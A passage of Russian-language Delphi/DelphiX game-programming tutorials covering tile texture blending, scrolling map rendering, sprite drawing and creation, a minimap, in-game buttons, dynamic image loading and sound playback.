(17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17),
(21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21),
( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),
(12, 5, 7, 3, 4, 5,15, 7, 8, 4,15,13,12,13, 8,15), 
( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),
( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15), 
( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),
(11, 6, 2, 3,15,15, 6, 7, 8,14, 2,11, 3, 7,14,15));
BasicTable используется, когда мы рисуем переходным типом земли. EqualTable испльзуется, когда прежняя земля в ячейке равна активной. NotEqualTable - испльзуется, когда прежняя земля в ячейке не равна активной.

Заметьте, что в таблицах иногда используется число 16, а в таблице NotEqualTable и больше. Число 16 указывает, что текстура не изменится в результате наших воздействий. Честно говоря, я просто не помню зачем я вводил числа больше 16-ти, я написал эту программу год назад. В дальнейшем в теле модуля Culculate я от этих чисел отнимаю 16, а зачем - Бог его знает. Кому охота - можете исправить, но программа работает.

Да, на первый взгляд таблицы выглядят немного устрашающе. Кто-то может спросить: Зачем громоздить такие кошмары? Неужели не найти формулу для расчета? Ведь так будет намного компактнее. Но я отвечу, что программы на ассемблере выглядят тоже страшновато, зато работают намного быстрее, чем на других языках. Может и есть формула, но я уверен, что она непростая, а стало быть работать будет намного медленнее чем простое обращение к массиву.

Модуль Culculate(X,Y : Integer; BrushIndex : Integer);

procedure TMatrix5.Culculate(X,Y : Integer ; BrushIndex : Integer );
var
  i: Integer;
  BaseIndex, AdditionalIndex: Integer;
begin
  // Заполнить матрицу считав значения с карты
  Self.Fill(X,Y);
  // Если рисуем переходной землей
  if BrushIndex = 3 then
  begin
    // Заносим центральный элемент
    Vector[12] := 15;
    for i := 0 to 24 do
    begin
      // Получить тип земли в виде индекса(0,1,2)
      BaseIndex := GetBaseIndex(Vector[i]);
      // и прежний номер переходной текстуры
      AdditionalIndex := GetAdditionalIndex(Vector[i]);
      // Если число в таблице BasicTable не равно 16 то,
      // к индексу типа земли умноженному на 16
      // прибавляем новое смещение
      // и заносим в Vector
      // ,иначе ничего не меняется
      if BasicTable[i,AdditionalIndex] <> 16 then
        Vector[i] := BaseIndex * 16 + BasicTable[i, AdditionalIndex];
    end;
  end { Конец обработки варианта "Переходная земля"}
  else // Иначе, если рисуем не переходной землей
  begin
    // Заносим центральный элемент
    Vector[12] := BrushIndex * 16;
    for i := 0 to 24 do
    begin
      // Получить тип земли в виде индекса(0,1,2)
      BaseIndex := GetBaseIndex(Vector[i]);
      // и прежний номер переходной текстуры
      AdditionalIndex := GetAdditionalIndex(Vector[i]);
      // Если прежняя земля имеет тот же тип, что и активная
      if BaseIndex = BrushIndex then
      begin
        // Если число в таблице EqualTable не равно 16 то,
        // к индексу типа земли умноженному на 16
        // прибавляем новое смещение
        // и заносим в Vector
        // ,иначе ничего не меняется
        if EqualTable[i,AdditionalIndex] <> 16 then
          Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex];
      end
      else // Если заменяемая и замещающая земля имеют разные типы
      begin // Если число в таблице NotEqualTable не равно 16 то,
        // к индексу типа земли умноженному на 16
        // прибавляем новое смещение
        // и заносим в Vector
        // ,иначе ничего не меняется
        if NotEqualTable[i,AdditionalIndex] then
          Vector[i] := BaseIndex*16 + NotEqualTable[i,AdditionalIndex]
        else
        if NotEqualTable[i,AdditionalIndex] > 16 then
          Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] - 16;
      end;
    end;
  end;
end;

Разберем все по полочкам: Первая строчка Self.Fill(X,Y); заполняет матрицу 5х5 значениями считанными с карты. Дальше следует такой кусок кода:

if BrushIndex = 3 then
begin
  Vector[12] := 15;
  for i := 0 to 24 do
  begin
    BaseIndex := GetBaseIndex(Vector[i]);
    AdditionalIndex := GetAdditionalIndex(Vector[i]);
    if BasicTable[i,AdditionalIndex] <> 16 then
      Vector[i] := BaseIndex*16 + BasicTable[i,AdditionalIndex];
  end;
end;

В нем мы рассчитываем случай, когда рисуем переходным типом земли - ЗЕМЛЯ(if BrushIndex = 3 then). Строка Vector[12] := 15; заносит в центральный элемент №12 цельную текстуру активной земли, для нашего случая это могут быть числа 15,31,47. Как мы помним именно под этими номерами в нашем ImageListe находятся цельные текстуры ЗЕМЛИ. Далее в цикле, для каждого элемента взятого с карты и положенного в матрицу ( в данном виде - в вектор, для упрощения организации цикла) получаем индекс типа земли(BaseIndex := GetBaseIndex(Vector[i]);) , получаем номер переходной текстуры (AdditionalIndex := GetAdditionalIndex(Vector[i]);), и лезем в соответсвующую таблицу ( входные параметры которой это номер ячейки i и номер переходной текстуры AdditionalIndex). Если на выходе получим число 16, то ничего не меняем, если другое число, то индекс типа земли умножаем на 16 - это номер цельной текстуры данного типа земли, и прибавляем число полученное из таблицы - это новый номер переходной текстуры.

Если в матрице 5х5 лежит в некоторой ячейке число 20, то индекс переходной текстуры будет равен 4 ( 20 mod 16), индекс типа земли равен 1 (20 div 16), а индекс цельной текстуры земли равен 16 ( Индекс типа земли * 16 ). Номер ячейки, где лежит число 20, и индекс переходной текстуры (4) - входные параметры в таблицу BaseTable. Если мы на выходе получим, к примеру число 8, то нужно к индексу цельной текстуры прибавить 8, чтобы получить индекс новой переходной текстуры. ( Индекс типа земли * 16 + 8 = 24 ) Это будет новое число, которое мы поместим на карту.

Следующий кусок кода:

  else
  begin
    Vector[12] := BrushIndex*16;
    for i := 0 to 24 do
    begin
      BaseIndex := GetBaseIndex(Vector[i]);
      AdditionalIndex := GetAdditionalIndex(Vector[i]);
      if BaseIndex = BrushIndex then
      begin
        if EqualTable[i,AdditionalIndex] <> 16 then
          Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex];
      end
      else
      begin
        if NotEqualTable[i,AdditionalIndex] then
          Vector[i] := BaseIndex*16 + NotEqualTable[i,AdditionalIndex]
        else
        if NotEqualTable[i,AdditionalIndex] > 16 then
          Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] - 16;
      end;
    end;
  end;
end;

Делает все то же самое, для двух оставшихся случаев. Голубым выделены те строчки, которые по моему мнению можно удалить, но при этом исправить в таблице NotEqualTable числа больше 16 на эти же числа минус 16. Все, с технологией покончено!!!

Следующие страницы я посвящу некоторым особенностям вывода карты на экран в моем примере. Кого интересовала только технология расчета плавных перетеканий текстур, дальше, если нет желания, могут не читать.

Как я уже говорил, в примере я использовал компоненты для DirectX, написанные каким-то хорошим китайцем. Имя у него соответственно самое что ни на есть китайское, по этому я его не помню.

Конкретно для вывода карты на экран использовались компоненты TDXDraw, TDXImageList и TDXTimer.

TDXDraw в основном используется для переключения страниц видеопамяти. Что это такое объяснять не буду. TDXImageList хранит в качестве элементов файлы со спрайтами выстроенными в одну цепочку. Соответственно к конкретному спрайту можно обратится по имени файла и номеру спрайта в нем. Также в этом компоненте есть две переменные PatternWidth, PatternHeight для указания ширины и высоты спрайтов, и переменная TransparentColor для указание прозрачного цвета. TDXTimer используется для генерации события DXTimerTimer с частотой заданной или рассчитанной в ходе выполнения программы.

Итак, текстуры выполнены в виде одного файла внутри которого выстроены в цепочку в соответствии с принципами изложенными выше и помещены в TDXImageList под именем "West". ( TDXImageList позволяет находить файлы внутри себя по их имени).

Нам нужно вывести на экран некоторую часть карты, причем карта наша состоит из кусочков и нам нужно вывести только те кусочки, которые видны в данный момент.

Можно сделать окно вывода кратным размеру текстур, а скроллинг организовать потекстурно с шагом равным ширине/высоте текстуры, тогда нет проблем, но это смотрится не очень красиво. Наша задача состоит в том, чтобы организовать скроллинг попиксельно и дать возможность задать окно вывода любого размера. Для того, чтобы это сделать нужно рассчитать сколько текстур по горизонтали и сколько текстур по вертикали мы должны отрисовать в окне вывода, включая и те текстуры которые в данный момент времени видны только частично.

Черным контуром показано окно вывода. Как видно - не все ячейки карты целиком влезли в окно, но их тоже надо отрисовать. Положение окна вывода на карте определяется координатами его левого верхнего угла относительно карты.( TopLeftCorner.x, TopLeftCorner.y) Их величины в пикселях(Нам же надо сделать попиксельный скроллинг) При создании новой карты они приравниваются нулям, и в дальнейшем определяются положением полос прокрутки. Вот часть кода:

procedure TMainForm.RedrawMap;
var
  OffsPoint : TPoint;
  TopLeftElem : TPoint;
  ElemCount : TPoint;
  HelpVar1 : Integer;
  HelpVar2 : Integer;
  i,j : Integer;
  x,y : Integer;
  index : Integer;
begin
  OffsPoint.x := TopLeftCorner.x mod ElemWidth;
  OffsPoint.y := TopLeftCorner.y mod ElemHeight;

Данные две строчки позволяют получить смешение левого верхнего угла экрана внутри левой верхней ячейки. Глобальные переменные ElemWidth,ElemHeight это высота и ширина ячейки(текстуры). Теперь нам необходимо получить номер строки и столбца ячейки где находится левый верхний угол окна вывода:

TopLeftElem.x := TopLeftCorner.x div ElemWidth;
TopLeftElem.y := TopLeftCorner.y div ElemHeight;

Далее необходимо рассчитать сколько у нас целых текстур влезает в окно вывода по вертикали и горизонтали:

HelpVar1 := DXDraw.Width - (ElemWidth - OffsPoint.x );
HelpVar2 := DXDraw.Height - (ElemHeight - OffsPoint.y );
ElemCount.x := HelpVar1 div ElemWidth; 
ElemCount.y := HelpVar2 div Elemheight;

Где DXDraw.Width, DXDraw.Height - это ширина и высота окна вывода. Если у нас есть нецелые текстуры снизу и справа окна вывода, то добавляем к ElemCount.x, ElemCount.y по единице:

if (HelpVar1 mod ElemWidth) > 0 then
  Inc( ElemCount.x );
if (HelpVar2 mod ElemHeight) > 0 then
  Inc( ElemCount.y );

Далее следует вывод на экран:

for j := 0 to ElemCount.y do
  for i := 0 to ElemCount.x do
  begin
    // Вычислить координаты куда выводить
    X := i * ElemWidth - OffsPoint.x;
    Y := j * ElemHeight - OffsPoint.y;
    // Вычислить номер текстуры
    index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j);
    // Вывести текстуру на экран
    // Учтите что LandType это не тип земли, а тип мира
    // Snow, West и т.д.
    ImageList.Items.Find(LandType).Draw(DXDraw.Surface,x,y,index);
  end;

Строка:

index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j);

Обращается к матрице карты и считывает оттуда номер текстуры, следующая строка выводит ее на экран.

Возможно вы спросите: А как же нецелые текстуры слева и сверху окна вывода? Их-то ты не учел? Посмотрите на кусок кода отвечающий за вывод на экран. Циклическая переменная инициализируется от 0 до ElemCount.(x,y). Это значит, что всегда выводится на одну текстуру больше, чем в ElemCount, а если слева и сверху нет нецелых текстур, то переменная OffsPoint.(x,y) будет равна размерам ячейки. Переменные HelpVar(1,2) станут на размер ячейки меньше, и следовательно переменные ElemCount.(x,y) станут на единицу меньше. Все. Смотрите исходники в модуле Main.pas.

В программе не отловлены все баги. Например определен только один тип мира "West", да и текстуры нарисованы чисто схематически.

Методы вывода спрайтов.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

В этой статье мы рассмотрим методы вывода спрайтов на экран. 1. Draw - Стандартная функция вывода
Draw(X,Y: Integer; Source: TDirectDrawSurface; Transparent: Boolean)
X,Y - координаты. TDirectDrawSurface - поверхность (DXDraw.Surface) Transparent - видимость 2. StretchDraw - Вывод со "скалированием", т.е. с изменением размера исходного спрайта Статьи по Delphi (008)…
StretchDraw(constDestRect:TRect;Source:TDirectDrawSurface;Transparent:Boolean=True)
TRect: Top : integer; Bottom : integer; Left : integer; Right : integer; или просто TopLeft : Троint BottomRight : Tpoint одним словом записи: rect.TopLeft.X:=100; rect.TopLeft.Y:=200; и rect.Left:=100; rect.Top:=200 абсолютно равны. Небольшой примерчик:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
const k:integer=0; n:integer=0;
var rect:trect;
begin
   if not DXDraw.CanDraw then exit;
   if n = 10 then k:=-1;
   if n = 0 then k:=1;
   n:=n+k;
   rect.left:=10;
   rect.right:=10*n;
   rect.top:=10;
   rect.bottom:=10*n;
   DXDraw.Surface.Fill(0);
   DXIMageList.Items.Find('1').StretchDraw(DXDraw.Surface,rect,0);
   DXDraw.Flip
end;
3. DrawAlpha - Выводит с прозрачностью, так-же параллельно можно делать stretch Статьи по Delphi (008)…
DrawAlpha(const DestRect,SrcRect:TRect;Source:TDirectDrawSurface;Transparent:Boolean;Alpha:Integer);
Значение Alpha изменяется в пределах от 0 до 255. Небольшой примерчик: Киньте какой-нибудь фон, сразу будет видно прозрачность.
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
const k:integer=0; n:integer=0;
var rect:trect;
begin
   if not DXDraw.CanDraw then exit;
   if n = 10 then k:=-1;
   if n = 0 then k:=1;
   n:=n+k;
   rect.left:=50-n*5;
   rect.right:=50+n*5;
   rect.top:=50-n*5;
   rect.bottom:=50+n*5;
   DXDraw.Surface.Fill(0);
   DXIMageList.Items.Find('1').DrawAlpha(DXDraw.Surface,rect,0,n*25);
   DXDraw.Flip
end;
Все остальное чуть позже. 4. DrawAdd : Хорошо подходит для создания эффектов. Вспышек, взрывов.: 5. DrawSub : Хорошо подходит для создания теней.: 6. DrawRotate : Вывод с поворотом исходного спрайта: DrawRotate(Dest: TDirectDrawSurface; X, Y, Width, Height, PatternIndex: Integer; CenterX, CenterY: Double; Angle: Integer); CenterX,CenterY - ось вращения. При CenterX и CenterY равных 0 ось проиходит через левый-верхний угол спрайта При CenterX и CenterY равных 0.5 ось проиходит через центр спрайта При CenterX и CenterY равных 1 ось проиходит через правый-нижний угол спрайта Angle - угол поворота, изменяется от 0 до 255 Небольшой примерчик:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
const k:integer=0; n:integer=0;
begin
   if not DXDraw.CanDraw then exit;
   if n = 256 then k:=-1;
   if n = 0 then k:=1;
   n:=n+k;
   DXDraw.Surface.Fill(0);
   DXIMageList.Items.Find('1').DrawRotate(DXDraw.Surface,50,50,50,50,0,0.5,0.5,n);
   DXDraw.Flip
end;
7. DrawRotateAlpha : Вывод с поворотом исходного спрайта + Alpha: 8. DrawRotateAdd : Вывод с поворотом исходного спрайта + 9. DrawRotateSub : Вывод с поворотом исходного спрайта + Sub

Создание Миникарты к Стратегиям.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Этот пример взят из нашей игры "В ОСАДЕ", способ хорош - быстрый и качественный. Немного о переменных и числах: 150 - это размер миникарты в пикселах (у нас 150 на 150) rx и ry - ширина и высота карты (у нас обычно 80 на 80) Перейдем непосредственно к описанию:
procedure CreatemMap;
var
   i,j: Integer;
   NG: TDIB; //Это картинка в которую мы будем сохранять миникарту
   Item: TPictureCollectionItem; //Тут будет хранится картинка в ТdхImаgеList'е
   tm:Tdirectdrawsurface; //Поверхность DxDraw
   tm2:Tdirectdrawsurface; //Тоже
begin
   ng:=tdib.Create; //Создаем компонент
   tm:=Tdirectdrawsurface.Create(myform.DXDraw.Surface.DDraw); //Создаем поверхность
   tm.SystemMemory:=false; //Это надо
   tm.SetSize((150 div rx +1)*rx ,(150 div ry +1)*ry); //Устанавливаем размеры пропорциональные размерам карты
   tm.Fill(0); //Заоиваем поверхность черным цветом
   tm2:=Tdirectdrawsurface.Create(myform.DXDraw.Surface.DDraw); //Создаем вторую поверхность
   tm2.SystemMemory:=false; //Надо
   tm2.SetSize(150,150); //Устанавливаем сжатые размеры (Настоящий размер миникарты)
   tm2.Fill(0); //Тоже заливаем черным
   for i:=0 to rx-1 do //Далее отрисовываем всю карту
   for j:=0 to ry-1 do //по частям в уменьшеном виде на первую поверхность
   myform.il.Items.Find('west0').StretchDraw(tm,bounds((150 div rx+1)*i,(150 div ry+1)*j,150 div rx+1,150 div ry+1),map[i,j]);
   //map - двухмерный массив содержащий номер картинки
   tm.AssignTo(ng); //Сохраняем содержание поверхности в картинку
   tm.Free; //Поверхность теперь нам не нужна и мы её удаляем
   Item := TPictureCollectionItem.Create(MyForm.IL.Items); //Добавляем картинку в TDxImageList
   Item.Name:='MMG'; //Её имя
   Item.SystemMemory:=false; //Надо
   Item.Picture.Graphic := ng; //Загружаем картинку в список
   item.Transparent:=false; //Непрозрачна
   Item.Restore; //Принимаем изменения
   myform.il.Items.Find('mmg').StretchDraw(tm2,bounds(0,0,150,150),0); //Теперь рисуем(заодно и сжимаем) картинку в заданных размерах миникарты на вторую поверхность!
   tm2.AssignTo(ng); //Опять сохраняем получившийся результат
   tm2.Free; //Избавляемся от уже ненужной второй поверхности
   Item.Name:='MMG'; //Исправляем то что нужно в ТdхImаgеList'е
   Item.SystemMemory:=false; //Исправляем то что нужно в ТdхImаgеList'е
   Item.Picture.Graphic := ng; //Исправляем то что нужно в ТdхImаgеList'е
   item.Transparent:=false; //Исправляем то что нужно в ТdхImаgеList'е
   Item.Restore; //Принимаем изменения
end;
Теперь во время игры просто отрисовываем картинку под именем MMG в нужном месте, и если надо то и точки(позиции юнитов на карте) на ней. Вот в принципе и всё.

Создание кнопок (не спрайтовых) для использования в игре.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Вторая статья по игре "В ОСАДЕ" поясняющая, каким образом в игре появились кнопки! Итак, компонент Игровой Кнопки (MGIB) находится в файле Unit2.pas в исходнике игры. Рассматривать его мы не будем, будем рассматривать только то как он работает! Вся игра у нас делится на сцены. Каждая сцена делится на три части: 1.Загрузка сцены (выполняется один раз перед самой сценой) 2.Отрисовка/Обработка сцены (выполняется столько раз в секунду сколько у вас FPS, до тех пор пока не см.3) 3.Завершение сцены (освобождает память, один раз после окончания Отрисовки/Обработки сцены, только в том случае если игрок покинул игру или грузится другая сцена) Подробнее в других статьях. На загрузку сцены пишем:
var
   form1:TForm;
   ml:Tlist;
procedure startsceneMenu;
begin
   ml:=Tlist.Create; //Создаем список (где будут кнопки)
   {Добавляем кнопки в список}
   ml.Add(mgib.Create); //Создаем кнопку в списке
   with mgib(ml[ml.Count-1]) do //С ней делаем
   begin
      caption:='Новая игра'; //Рисуемый на ней текст
      image:=il.Items.Find('btn20'); //Название изображения в DхImаgеList'е
      width:=image.Width; //Ширина (нужна чтобы на кнопку можно было нажать)
      height:=image.Height; //Высота (тоже нужна как и ширина)
      x:=288; //Координаты левого верхнего угла (ЛВУ) по оси ИКС
      y:=350; //Координаты ЛВУ по оси ИГРИК
   end;
end;
В отрисовку сцены добавляем:
.....................
var
.....................
   I:integer;
begin
.....................
   for i:=0 to ml.items.count-1 do //Просто рисуем кнопки из списка
   mgib(ml.items[i]).dodraw;
.....................
end;
Но чтобы кнопки действовали нужно ещё сделать обработчик на Движение/Нажатие/Отжатие мыши и её кнопок. Вот они:
procedure Tform1.DXDrawMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
Var
   i: integer;
begin
   bk:=255; //Номер нажатой кнопки, чтобы определить какая кнопка была нажатой (255 ставится для того чтобы при нажатии мимо кнопки не нажималась кнопка номер 0)
   for i:=0 to ml.Count-1 do //Если мышь над кнопкой то выделяем кнопку, и указывем номер выделеной кнопки
   if mgib(ml[i]).HighLighted then
   begin
      mgib(ml[i]).Selected:=true;
      bk:=i;
   end;
end;
procedure Tform1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
Var
   i: integer;
   MousePoint: TPoint;
begin
   MousePoint:=Point(x,y);
   for i:=0 to ml.Count-1 do //Если мышинный курсор над кнопкой, то выделяем текст на ней болдом(это в свойствах компонента называется Highlighted)
   if ptinrect(mgib(ml[i]).BoundsRect,mousepoint) then
      mgib(ml[i]).HighLighted:=true else mgib(ml[i]).HighLighted:=false;
end;
procedure Tform1.DXDrawMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
i,z:integer;
begin
   case bk of //Если номер нажатой кнопки не равен 255 то, проверяем какая же кнопка была нажата, и выполняем записаные на неё действия.
   0:begin //На кнопку 0 (Новая игра) записано: сделать кнопку невыделеной(чтобы не повторять эту процедуру до бесконечности) и начать сцену игры.
         mgib(ml[0]).selected:=false;
         startscene(gsgame);
      end;
   end;
end;
И на завершение сцены ставим:
.....................
var
.....................
   I:integer;
begin
.....................
   for i:=0 to ml.items.count-1 do //Просто очищаем список от кнопок
   mgib(ml.items[i]).free;
   ml.free; //И убираем вообще этот список
.....................
end;
Вот в принципе и всё.

Статья по динамической загрузке спрайтов.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Если делать игру с большим количеством графических изображений, то неразумно будет загружать их все сразу, например зачем в основном меню игры графика босса с последнего уровня? А вот памяти его "фото" будет жрать! Чтобы этого непроисходило необходимо разделить всю игру на сцены, и просто при загрузке конкретной сцены удалять из памяти ненужные картинки и загружать туда только те которые в этой сцене используются. Делаем это так: При загрузке сцены пишем:
loadpicdata(DxImagelist1 {Вместо DxImagelist1 имя вашего TdxImageLista},'Menu' {Тут название файла со списком используемых картинок данной сцены});
Формат файла со списком такой: [название] (название одинаково с именем файла, только без расширения) PictureHeight=800 (Высота картинки) PictureWidth=600 (Ширина картинки) PatternHeight=0 (Высота кадра (если в картинке несколько кадров)) PatternWidth=0 (Ширина кадра) SkipHeight=0 (Пропуск высоты, пусть останеться 0) SkipWidth=0 (Пропуск ширины, пусть останеться 0) SystemMemory=0 (Пока не надо, пусть останеться 0) Transparent=0 (Прозрачен или нет) TransparentColor=clBlack (Цвет прозрачности) Например кусочек файла "game.dat":
[enemy] PictureHeight=96 PictureWidth=192 PatternHeight=0 PatternWidth=48 SkipHeight=0 SkipWidth=0 SystemMemory=0 Transparent=1 TransparentColor=$00FF8040
При этом файлы должны лежать в папке Pictures\Bmp (если они Вitmары) или Pictures\Jpg (если они в Jpeg). Ещё файлы со списком должны лежать в Pictures\Data А вот и сама процедура загрузки: PS. В USES надо дописать DIB, Jpeg, iniFiles
Procedure TForm1.LoadPicData( var DXImageList : TDXImageList; FileName : string);
Var
   i : integer;
   Item : TPictureCollectionItem;
   SectionName : string;
   Ident : string;
   NewGraphic : TDIB;
   BitMap : TBitMap;
   PicFileName : string;
   SectionList : TStringList;
   JpgImg : TJPEGImage;
   Ext : String;
Function GetName(InDir,InFileName : string): string ;
Var
   OutFileName : string;
begin
   Result:='';
   OutFileName:=ExtractFilePath(Application.ExeName)+InDir+'\'+InFileName ;
   Result:=OutFileName;
   Exit;
   OutFileName:='c:\'+InDir+'\'+InFileName;
   if FileExists(OutFileName) then
   begin
      Result:=OutFileName;
      Exit;
   end;
end;
begin
   DXImageList.Items.Clear; //Очищаем память от картинок
   FileName:=ChangeFileExt(FileName,'.dat');
   NewGraphic:=TDIB.Create;
   BitMap:=TBitMap.Create;
   SectionList:=TStringList.Create;
   try //Читаем файл со списком изображений
      With TIniFile.Create(GetName('Pictures\data',FileName)) do
      try
         ReadSections(SectionList);
         For i:=0 to SectionList.Count-1 do
         begin
            SectionName:=SectionList[i];
            //Пытаемся определить формат картинки
            Ext:='bmp';
            PicFileName:=GetName('Pictures',Ext+'\'+SectionName+'.'+Ext);
            if FileExists(PicFileName) then
               NewGraphic.LoadFromFile(PicFileName);
            else
            if not (FileExists(PicFileName)) then
            begin
               Ext:='jpg';
               PicFileName:=GetName('Pictures\Jpg\',SectionName+'.'+Ext);
               JpgImg:=TJPEGImage.Create;
               try
                  JpgImg.LoadFromFile(PicFileName);
                  NewGraphic.Assign(JpgImg);
               finally
                  JpgImg.Free;
               end;
            end;
            //Добавляем картинку в память
            Item := TPictureCollectionItem.Create(DXImageList.Items);
            Item.Picture.Graphic := NewGraphic;
            Item.Name:=SectionName;
            Ident:='PatternHeight';
            Item.PatternHeight:=ReadInteger(SectionName,Ident,0);
            Ident:='PatternWidth';
            Item.PatternWidth:=ReadInteger(SectionName,Ident,0);
            Ident:='SkipHeight';
            Item.SkipHeight:=ReadInteger(SectionName,Ident,0);
            Ident:='SkipWidth';
            Item.SkipWidth:=ReadInteger(SectionName,Ident,0);
            Ident:='SystemMemory';
            Item.SystemMemory:=ReadBool(SectionName,Ident,false);
            Ident:='Transparent';
            Item.Transparent:=ReadBool(SectionName,Ident,false);
            Ident:='TransparentColor';
            Item.TransparentColor:=StringToColor(ReadString(SectionName,Ident,'clBlack'));
            Item.Restore;
         end;
      Finally
         Free;
      end;
   Finally
      NewGraphic.Free;
      BitMap.Free;
      SectionList.Free;
   end;
end;
Вот и всё!

Система рационального создания спрайтов.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

B примере мы рассмотрим Четыре способа создания спрайтов: 1. Аркадный 2. Нерациональный 3. Рациональный 4. Рациональный два Итак способ первый - Аркадный. Его смысл заключается в том, что процедура создания спрайта описывается в коде заранее, а значит параметры спрайта определены ещё до его появления. Вот пример:
constructor TPlayerSprite.Create(AParent: TSprite);
begin
   inherited Create(AParent);
   Image := MyForm.ImageList.Items.Find('PlayerScate');
   Width := Image.Width;
   Height := Image.Height;
   X := 20;
   Y := 240-Height div 2;
   Z := 2;
   PixelCheck:=true;
   AnimCount := Image.PatternCount;
   AnimLooped := True;
   AnimSpeed := 0/1000;
end;
Минус сей идеи в том, что каждый раз спрайт будет появлятся в одном и том же месте (в примере по Икс=20 и по Игрик=240 минус половину высоты картинки). Такой способ хорош только для аркад - где главный герой появляется строго в заданном месте. Второй способ - нерациональный. Каждому спрайту придумать свое имя (не путать с классом). Покажу на примере как это:
procedure TMainForm.FormCreate(Sender: TObject);
var MASHINA : TplayerSprite; //Вот оно имя спрайта - MASHINA
begin
   mashina:=TplayerSprite.create(spriteengine.engine);
   with TplayerSprite(mashina) do
   begin
      Image := MyForm.ImageList.Items.Find('PlayerScate');
      Width := Image.Width;
      Height := Image.Height;
      X := 20;
      Y := 240-Height div 2;
      Z := 2;
      PixelCheck:=true;
      AnimCount := Image.PatternCount;
      AnimLooped := True;
      AnimSpeed := 0/1000;
   end;
end;
Минус этой идеи в том, что спрайтов можно использовать ограниченное количество (только те которые так описаны и имеют свое имя), таким образом чтобы создать 100 спрайтов надо 100 раз написать эту функцию и придумать 100 разных имен! И вот наконец 3-й - Рациональный способ. Его идея состоит в том, чтобы создать TList добавить в него нужное кол-во спайтов и обработать их в нем. Вот пример для создания сотни спрайтов класса TPlayerSprite стоящих в ряд:
Procedure TMainForm.StartGameScene;
var
   i:integer; //Переменная счета
   List : Tlist;
begin
   List:=Tlist.create;
   for i:=1 to 100 do
   begin
      list.add(TPlayerSprite.create(spriteengine.engine));//Создаем спрайт и добавляем его в TList
      with TplayerSprite(list.items[0]) do //Устанавливаем его характеристики
      begin
         Image := MyForm.ImageList.Items.Find('PlayerScate');
         Width := Image.Width;
         Height := Image.Height;
         X := 20+width*i; //Ставим его на место в ряд по номеру
         Y := 240-Height div 2;
         Z := 2;
         PixelCheck:=true;
         AnimCount := Image.PatternCount;
         AnimLooped := True;
         AnimSpeed := 0/1000;
      end;
      list.clear; //Спрайт готов, и в TList он больше не нужен
   end;
   list.free; //Спрайты созданы и Tlist нам больше не нужен
end;
У этого варианта нет минусов. Именно "мутации" этой идеи используются в большинстве проффесиональных игр. Совсем забыл вот ещё четвертый:
Type
   TOrc = class(TImageSprite) //Орк становится подклассом
   public
      constructor Create(AParent: TSprite;nx,ny:double);
   end;
//А вот сама процедура:
constructor TOrc.Create(AParent: TSprite;nx,ny:double);
begin
   inherited Create(AParent);
   image:=myform.il.Items.Find('stand'); //Ну или свою картинку
   width:=image.Width;
   height:=image.Height;
   x:=nx;
   y:=ny;
   //Тут чего нить свое
end;
Работает как часы! Орк(в примере) создается командой:
Torc.create(spriteengine.engine, *Ваши координаты*);
Надеюсь то что написано в этой статье вам поможет.

Обрезание спрайтов.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

Решение 1. В пропетиес DXDraw Align = alClient AutoSize = False doFlip = False doCenter = True Значения SurfaceHeight и SurfaceWidth делаем больше значений Height и Width на ширину тайла Решение 2. Сделать рамку с шириной в полтайла Решение 3. Написать новую процедуру отрисовки, где вычисляется положение тайлов. Если хоть часть тайла видна, то рисуем тайл.

DELPHIX - TDXSound. AudioStream, стерео эффекты.

Оформил: XVeL Автор: 3d[Power] WEB-сайт: http://daddy.mirgames.ru

Основные принципы: С помощью TDXSound вы можете создавать звуковые эффекты в вашей программе. Все что Вам понадобится это поставить на форму 2 компонента: DXSound и DXWaveList. Последний является "коллекцией wav файлов". В который вы будете заносить wav файлы. Установите
DxWaveList1.DXSound := DXSound1
. В этот DXSound будет воспроизводиться звук. Чтобы проиграть звук вам надо в DxWaveList1 добавить какой нибудь wav файл. После чего вызвать
dxwavelist1.items[0].play(false);
Будет проигран звук, который находится в списке нулевым. Можно и так:
dxwavelist1.Items.Find('somewave1').Play(False);
Добавление дополнительных эффектов: Добавить можно следущие эффекты: изменение frequensy, pan, volume. Pan - ориентация звука (левый правый канал). dxwavelist1.Items.Find('somewave1').Pan := 0; - Центр. dxwavelist1.Items.Find('somewave1').Pan := -10000; - Максимально слева. dxwavelist1.Items.Find('somewave1').Pan := 10000; - Максимально справа. После чего вызвать
dxwavelist1.Items.Find('somewave1').Play(False);
. Frequency - частота звука. Назначается это значение так:
dxwavelist1.Items.Find('somewave1').Frequency.
Минимальное значение 4410, а максимальное 44100. Volume - громкость звука. Назначается это значение так:
 
dxwavelist1.Items.Find('somewave1').volume.
Минимальное значение -10000, а максимальное 0. Looped. У звука есть еще параметр .Looped : boolean который означает будет ли звук проигрываться "покругу". Что бы остановить такое проигрывание используйте .looped := false; Загрузка wav файлов: Загружать звуки в программу можно непосредственно через dxwavelist1 (просто вручную добавить файлы и все). А можно через отдельные *.dxw файлы - это контейнеры wаv'ов. Создавать которые можно специальными программами.
Dxwavelist1.items.LoadFromFile ('sounds.dxw');
